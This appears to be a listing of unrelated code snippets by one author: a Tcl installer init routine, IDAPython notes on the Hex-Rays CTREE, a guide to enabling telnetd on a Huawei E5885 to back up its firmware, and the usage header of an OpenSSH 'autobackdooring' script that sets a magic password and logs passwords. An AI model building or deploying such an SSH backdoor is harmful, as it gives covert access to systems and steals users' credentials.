NyaMisty

#!./tclkit

## prepare runtime environment
proc init {} {
	## mount optional.pak (for tcltwofish)
	set optionalPak installbuilder/paks/optional.pak
	vfs::mk4::Mount $optionalPak $optionalPak -readonly

	## adjust library search path
	set ::auto_path [list $tcl::kitpath/lib/tcl$::tcl_version $tcl::kitpath/lib $tcl::kitpath/libraries $optionalPak/linux-x64 $tcl::kitpath]

NyaMisty

IDAPython CTREE

Important links

• Hex-Rays Decompiler Primer
• hexrays.hpp

Description

The CTREE is built from the optimized microcode (maturity at CMAT_FINAL), it represents an AST-like tree with C statements and expressions. It can be printed as C code.

NyaMisty

Huawei E5885 current firmware backup manual.

1. Download modified usbloader, which will copy proper busybox into /system/busybox and enable telnetd on your device (will add additional line into /system/autorun.sh). Use it only on E5885, not on other device!
2. Load it using balong-usbdload. Refer to this disassembling manual.
3. After loading, wait about one minute, disconnect device from the computer and power off the device holding power button for ~15 seconds.
4. Insert MicroSD card to the device and power it on.
5. telnet 192.168.8.1 2323

/system/busybox sh

NyaMisty

#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
#  [email protected]
# ============================================
# USAGE:
#      Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
#      If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
#      (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
#      [it'll install them via apt or yum, whichever is available]).